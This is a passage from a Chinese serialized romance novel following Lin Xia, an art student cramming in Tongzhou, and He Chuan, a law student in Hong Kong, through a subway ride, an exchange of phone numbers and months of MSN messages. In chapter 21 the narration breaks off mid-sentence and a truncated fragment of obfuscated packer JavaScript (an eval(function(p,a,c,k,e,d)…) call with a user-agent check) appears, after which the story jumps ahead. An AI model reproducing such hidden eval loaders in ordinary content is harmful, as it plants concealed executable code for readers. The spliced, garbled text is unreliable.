林海生很喜欢他,一定愿意供他读书的,且不说这确实是一笔很大的开销,只是毕竟名不正言不顺,少年有少年的尊严和倔强,能靠自己就绝不会依靠别人。 林夏不想多提这个话题引起尴尬,于是开玩笑说: “你这样每天都泡在书本文献里,所以近视更严重了是不是?什么时候配的眼镜?” 他上高中的时候就有点近视,她知道,但因为只有一百多度,不太严重,所以一直没戴眼镜。 何川有点无奈:“上学期,放假和同学去深圳配的,确实度数涨了,现在左眼230,右眼......” “右眼多少?” “右眼......250。” 林夏噗嗤一声笑了出来: “很好,很吉利的数字。” 学生时代就是这样,总是会因为一些谐音啊巧合啊,觉得很搞笑,不知道该说是单纯还是无聊。 何川就知道她会取笑,也不生气,悠悠喝了一口茶水,慢条斯理的反击: “别光说我了,说说你吧,现在你的英语过百了吗?” 他真是知道什么是她的死穴。 一听见这个,林夏立马蔫了,她小小呻、吟了一声,有气无力的说: “别提了,上了高中英语满分从120变成了150,我的分数却变得更低了。我是真的真的做不明白完形填空,阅读理解,七选五!不过至少这几个月我都不用再学英语了,暂时别让我再想起这么痛苦的回忆了......” 21. 春日青(4) 林夏集训的画室在通州,要坐很远的地铁,还要换乘公交,吃完饭后时间已经很晚了,何川送她回去。 高中生活说出花来也还是很枯燥很无聊,何况林夏和何川念的还是同一所高中,连老师都有所重合,讲起来根本没什么意思。而何川的大学生活在林夏眼里就要新奇多了,一路上,一直是她在好奇的东问西问,何川主动说得不多,但对她的问题都很耐心的释疑。 “你们学校校园面积大吗?” “还挺大的,港中文是全港面积最大的大学。” “那是清华比较大,还是港中文比较大?” 何川想了想,回答:“应该清华面积更大一些,但是港中文是建在山上的,走起来会比清华更累。” 建在山上的大学?林夏想象不出来, “为什么建在山上啊?” “可能是因为香港寸土寸金,地皮比较贵吧。” “你住的地方在山上还是山下?” “在山上。” “那每天来回上下山多累啊,宿舍是有很多吗?可以选择吗?” “算是可以,不过有点复杂,学校不是按照专业分的宿舍,是根据书院。” “书院?”林夏疑惑,“那是什么意思?” 何川也有些为难,不知该怎么跟她解释,一边说一边斟酌用词:“港中文有很特别的制度,叫书院制,全校有九大书院,每一所书院都有不同的管理模式,文化氛围。新生入学的时候,可以自行选择一所书院,在那里食宿,上课还是在中央校区按照本专业的课来上,但书院将是未来几年这个学生主要的活动和社交圈子。” 林夏听得云里雾里,似懂非懂,但是隐隐约约觉得这种制度有点耳熟: “......是不是,像哈利波特的魔法学校一样?” 高一时她同桌徐畅租过哈利波特的书,借给她看过,第一部魔法石还好,第二部密室她看了有点害怕得睡不着觉。 “差不多,”何川失笑,“只不过划分书院的不是分院帽,像高考一样要填志愿,还要面试。我刚去的时候,什么也不了解,志愿几乎是瞎填的,后来阴差阳错被分到了联合书院,不过还算幸运,联合的奖学金待遇和住宿条件都还不错。虽然住宿在山上,每天上下坡,但是有电梯,有巴士,还有人行天桥,比较方便。而且山上人少,比较安静,风景不错,生态也不错。” “生态不错......是什么意思?” “就是动物很多,”何川慢悠悠的说,“蚊子很多,蠓很多,能在山上见到松鼠、猴子、狗獾,还有野猪和蛇。” 原来大学也可以这样? 林夏很惊讶,同时她也想了起来:“我们画室在郊外,有时候也能看见松鼠,那天我们宿舍里还进了一只超级大的壁虎!” “吓坏了吧?” “还好啦,我不太怕这种冷血动物。” 何川含笑打趣:“但是怕老鼠怕虫子,怕黑怕鬼怕世界末日,对不对?” 他又揭她短,真讨厌! 林夏嗔怪的瞪了他一眼,气鼓鼓的把头扭到了一边。 这时候,地铁停靠在了换乘车站,突然上来了好多好多人,何川与林夏本来站在车厢中央,一下子被挤到了旁边,何川怕林夏被挤到,就让她站在里侧,自己站在外侧挡着人群。 这个时间点,望春街道上几乎已经没有车了,而北京的地铁仍然人头攒动,尤其是从市中心开往郊区的方向,有太多人每天远距离通勤上下班了。 这里是两节车厢连接处的角落,林夏背靠在车厢壁上,何川站在她面前,手扶着她身后的墙面。 两个人离得特别近,夏天穿的衣服又少,随着车厢的晃动,身后人群的拥挤,彼此的肌肤时不时的触碰,他温热的呼吸喷薄在她的头顶,而她鬓边散落的碎发若隐若现的擦过他的手臂。他微微侧头,视线落在一旁,她也垂下眼眸,定定望着他领口的第二颗扣子。 车厢里的冷气明明开得那样足,他们两个却不由自主觉得燥热,她发间藏起的耳朵,与他衣领中露出的锁骨,两者染上的红晕,是一模一样的。 她轻声开口:“你之前说不会粤语,那么后来是怎么学会的?” 周围有些嘈杂,何川不得不把头又低下了几分才听得清她的话,那一瞬间林夏恍然间闻到了他衣服上飘散的肥皂的味道,很干净,很清新。 他笑了一下,胸腔微微振动。 “还记得,我们那个时候一起看了很多原声港片吗?” 她点点头,怎么会忘?那个夏天发生的一切,她永远都不会忘。 “其实那时我有特意练习去听,多少还是起了一点作用吧,不过不太多,毕竟电影和现实也差很多。学校里会有专门的粤语社团,帮助外地外国的学生学习粤语。还有一点,我的舍友也是内地人,他叫陈伟鹏,是广东人,他英语很烂,我粤语不会,我们每天一起练口语,倒也都有所进步。” “除了,舍友呢?你还有交其他朋友吗?” “嗯......也有一两个一起搭伙去图书馆,去食堂的同学。” “还有呢?” “没有了。” “真的没有吗?” 何川低眸,望着林夏头顶整齐的小发旋,有些好笑: “你到底想知道什么?” 没想到下一瞬,就见她猛然抬头,虽然脸上微红,却仍然鼓起勇气直视着他的双眼,声音微颤: “我就是、就是想知道,你有没有交女朋友......” 四目相对,凝滞数秒,何川张了张口,还没等说话,突然被后面的人撞了一下,整个人往前一倾,下巴狠狠磕在了林夏的额头上。 彼此骨头结结实实的这一撞,实在是太疼了。林夏眼冒金星,泪水顿时涌了上来,何川也不好过,不小心咬破了舌头,满口血腥。两个人一个捂着额头,一个捂着下巴,可怜兮兮中又透着好笑,彼此忍不住都笑了起来。 这一站下去了不少人,周围空旷了很多,何川换了姿势,和林夏一同并肩靠在车厢壁上,刚才两个人之间形成的那种与世隔绝的小空间,就这样消失了。 但何川还是很坦诚的回答了林夏的问题: “没有,因为真的没有时间,也没有这个打算。” 他读的是法学,香港的法律体系与内地截然不同,每天课程几乎全部排满,教授来自世界各地,全英文教学,想要跟上课程进度本身就已经很辛苦很吃力了。更不要说还要在课下读文献,写论文,刷GPA,做兼职,为了保宿而参加各种活动与比赛。他不算是特别聪明特别有天赋的人,为了做到优秀,必须比别人更加努力更加勤奋才行。去港中文读书,他为的是自己的前途与将来,这个机会他必须千百倍珍惜。 听他说没交女朋友,林夏悬着的一颗心终于放下来了。 是啊,他那么忙,要为了自己的理想而拼搏,应该是没有心思考虑这些有的没的事情的,不会像她班上的那些男生一样,每天都憋着一口气要赶紧上大学去大学里找对象谈恋爱。 有点高兴,又有点不高兴,嗯,很纠结。 地铁很快到了站,他们下车之后又换乘公交,大约二十多分钟后,终于回到了画室。 画室所在的位置很偏僻,周围没什么楼房住宅,路上没有行人也没有车,只有高高的路灯一束光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见他没有动作,林夏脸上的笑容慢慢淡了下来,她没预料到他这种反应,有点疑惑,有点无措: “这,有什么不确定的?你不想把电话号码给我?你......怕我总找你打扰你学习?” 她很认真的试图解释: “我只是,因为一个人在这边,平常有些无聊。我不会给你经常给你打电话的,长途话费那么贵,顶多是,偶尔发一下短信,绝对,不会影响到你的,你要是嫌麻烦,不愿意就算了......” 越说越生气,越说越委屈,她收回了手机,赌气就要转身离开。 然而下一秒,她只觉得手腕一紧,被人猛然拉住了。 她回头,只见他的脸上挂着一抹浅浅的笑,揉杂着些许无奈,些许妥协,还有一点点她看不懂的复杂。 “真傻。”他轻叹。 “哪里傻了?”她皱眉,不服气。 他没说话,只松开了她的手腕,拿过她手机,往里面输了自己的电话号码,再塞回了她的手里。 然后他伸手摸了摸她的头,对她说: “不打扰,不影响,不麻烦,没有不愿意。” “电话随便打,短信随便发,只要不耽误你画画。觉得累了,想家了,难过了,撑不住了,我陪你说话。” “夏夏,我永远不会拒绝你的。” 22. 春日青(5) 后来总是有人抱怨北京的雾霾,北京的沙尘暴,北京的空气污染,然而在林夏的记忆里,她在北京集训那大半年,天空一直是干净清朗,万里无云的。 画室所在的大院,其实是一个很大的兵工厂,画室在厂区里租了两栋楼,都是平房院子,一排是教室,一排是宿舍,还有一个小卖部,一个小食堂,就这样构成了学生们每日活动的所有区域。 宿舍是8人间,上下铺木板床,很狭窄很简陋,林夏刚来的时候很不习惯,想家,和舍友相处不来,头一个月几乎每晚都哭,后来才渐渐习惯了。没发生什么特别的事情,只是人体似乎就是有这样的适应功能,当无法改变环境的时候,就会选择慢慢接受。 每天早上,林夏和舍友们6点起床,洗漱吃饭,然后一起从宿舍走去画室,两个区域离得有点远,通常要走十分钟,这十分钟的时间里,林夏总是会抬头看天。 通州郊区,没有那么多高楼大厦遮挡,抬头望去,能看见几乎完整的天空,有些像东北,但比东北的天颜色更浅淡,也更绵软,很像颜料盒里面的春日青。林夏很喜欢这个名字,有青有春,就像此时此刻十八九岁的他们。 到画室,削铅笔,摆画架,开始做准备工作。画室不大,乱糟糟脏兮兮,摆了很多很多东西。上课从早八点到晚九点半,上午素描,下午色彩,晚上速写,周末上设计课。班里三个老师,一个班任,一个副班任,都是央美的老师,一个改画老师,是兼职的学生。 林夏的班级里一共五十几个人,一半来自湖南,一半来自广东,她是唯一的东北人,而且是唯二自行来到画室的。画室所属规模很大,在北京有好几处分校,和地方一些画室有合作关系,每年都会去地方选一批人来北京学习,如果不是林夏确实功底不错,她也没有机会进来这里。 画室每两周放一天假,可以出门,但要报备,因为每天的课业太累太累,这里离市区太远,大部分人在这一天都会选择睡上一天补眠。 除了去探望爷爷请假那一次外,林夏只出门过一次,去买书买画材,和杨阳、老孙一起。 杨阳是林夏下铺,一个湘妹子,说一口塑料普通话,性子热情直爽,干什么都拉着林夏一起,是林夏在画室最好的朋友。 老孙是个男生,全名孙平安,他觉得自己名字土,不让别人叫,因为他复读了三年,比班上其他人大上好几岁,所以大家都叫他老孙。他留一头半长不长的头发,穿得特别有个性,总是对人爱理不理,很孤傲,满足人们对搞艺术的人所有刻板印象。不过他也是真的很有才华,他考了三年,三年清美校考都拿了证,可惜三年都是文化课没过线。 他总对林夏说,他这辈子非清美不上,而且只上清美的工艺美术专业,对此他分析得口若悬河,头头是道,一口稀烂的广普,但是很有说服力。某种程度上来说,林夏对清美产生向往,受他的影响很深。 每天晚上,林夏上完课,把沾了一身颜料铅笔灰脏兮兮的自己洗干净,回到宿舍,筋疲力尽的躺在床上,窝在被子里,她会用手机和何川发信息聊天。她和他都特别忙,白天没有时间,所以只有临睡前这半个小时,这是她每天最期待的时间。 林海生出院了,他和何萍到底留在了北京,准备下一步化疗,林学东回了望春,而何川也回到了香港,开学之后,他就已经大三了。 电话短信费太贵了,他们都是穷学生负担不起,Q、Q香港用着不方便,于是他教她用MSN,那也是一种聊天软件。 每天每天,他们无话不谈,都是鸡毛蒜皮日常琐碎,可就是说不完,在高强度封闭压抑的环境下,所有青春荷尔蒙都转化成了分享欲,迫不及待想告诉那个人自己周围发生的一切。 【厂区里面的房子都是红砖砌的,颜色很漂亮,和我之前在家那边见过的不一样。】 【教室房前院子里长了一棵核桃树,我们整个夏天都在盼着它结果,等它终于结果了,我们捡了掉在地上的核桃,回来晒干后砸开吃,可惜非常难吃。】 【食堂的饭好单一,每天早上都是包子,完全比不上郝婶包的好吃。全是青菜没有肉,我想吃肉,吃烤鸭,吃鸡腿,吃红烧鱼。你们食堂的饭应该很好吃吧?】 【最近厂区里混进来了外人,是一个变态暴露狂,我们班好几个女生都被他吓到了,后来他被保安赶跑了。】 【人像课我们轮流做模特,我喜欢做模特,这样就可以趁机歇一会儿了,还可以看到别人眼中的我是什么样子。】 【我有个舍友是潮州人,她从小在海边长大,好羡慕她。你在香港有看到海吗?】 【我喜欢一边听歌一边画画,没地方下载新歌,我和同学们就用蓝牙互相传,可是存到手机里的都是原始文件名,分不清什么是什么了。】 总是她说得多,他说得少,可只要她发信息,他就永远有回应。 【图书馆门前有一座雕塑,叫“仲门”,同学说穿过仲门会挂科,最开始我不知道,穿过了,但是没挂。】 【昨天有一个香港明星来学校开讲座,很多同学都去看了,现场人数是我见过历来最多的。】 【这边的食堂味道还不错,但蔬菜很少,而且不新鲜。香港的蔬菜又贵又少,水果也是,大家经常会去校外的百佳或者康惠买。我也想郝婶的包子了。】 【注意安全,晚上上完课别再自己留下来画画了,和同学一起回宿舍吧。】 【被那么多人一直看着,会不会紧张?他们把你画成了什么样子?我想看看。】 【学校的山上就能看见海,有些宿舍还算是海景房。】 【舍友最近在听LadyGaga,连铃声都换成了她的歌,每天我都在很动感的音乐里醒来,很头疼。你喜欢听谁的歌?】 从香港到北京,两千多公里的距离,穿越无数山川湖海,一方小小的显示屏上的黑白文字,承载了少年与少女一百多个日日夜夜的羁绊。 背井离乡,远离父母亲朋,孤身在外求学,为了自己的未来而努力拼搏,精神□□的双重疲惫,无处安放的孤独寂寞,唯有电话那端之人是唯一的倾诉对象。消息的提示音,闪烁的电子屏,指尖敲击键盘的哒哒声,那是他们彼此人生中太特别的一段岁月,虽然短暂,比起漫长百年人生路实在不值一提,却是往后那么多年再无人能够替代的。 和平年代的青春,没有那么多动荡不安,生离死别,细水流长的 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新同学的到来所引起的骚动仅仅是一小会儿,大家很快又沉浸在自己的画板上了。 这节课是人像素描,林夏他们面前的这组模特是他们班上的同学,一个坐姿的年轻女孩,圆圆的脸像苹果一样,很可爱,但这种是人像中最难画的,因为找不到骨骼点,老人那种布满皱纹千沟万壑的脸细节较多,反而好画。这是林夏的弱项,所以她特意来这样加强练习。 正在林夏埋头苦画,艰难落笔的时候,她突然听到身边传来一些小声议论: “画嘅几好嘢。” “细节很轻松。” “这个衣服的处理我是不可能做到了。” 林夏一回头吓了一跳,不知道什么时候她身边竟然聚集了一堆同学,都在围观任子健画画。 林夏伸头看了一眼,不得不承认,他画得确实好,不过这也太夸张了吧?可能,还是有长相分加成吧,毕竟人都是视觉动物,尤其是他们这些学美术的,更是“好色之徒”。 老师走过来,站在任子健身边看了一会儿,也夸奖了他几句,然后就把其他人赶回去了。 任子健回过头,看见林夏和杨阳都在看着自己,很坦然的笑了笑,既不骄傲也没赧然,显然已经习惯了被围观和赞美。他瞥了一眼离他稍近的林夏的画板,指出她的问题: “你的造型不够严谨,颧骨和鼻骨的造型不准确。” “哦。” 林夏不情不愿的应了一声,她当然知道自己的毛病在哪里了。 任子健视线一偏,看见了她墨绿色的画板上用黑色签字笔写下的四个小字——必上清美。 这是林夏和老孙学的,在自己的画板、颜料箱、画桶、衣柜门......所有每天能看到的地方都写下了这四个字,以此来激励自己。林夏有点不太好意思,用不显眼的颜色大小来写,就是不想让别人都看见,没想到这个任子健直接说了出来: “你的目标是清美啊?我的目标也是清美,那我们就是竞争对手了!” 他笑得一派阳光灿烂,而林夏的心情顿时抑郁了。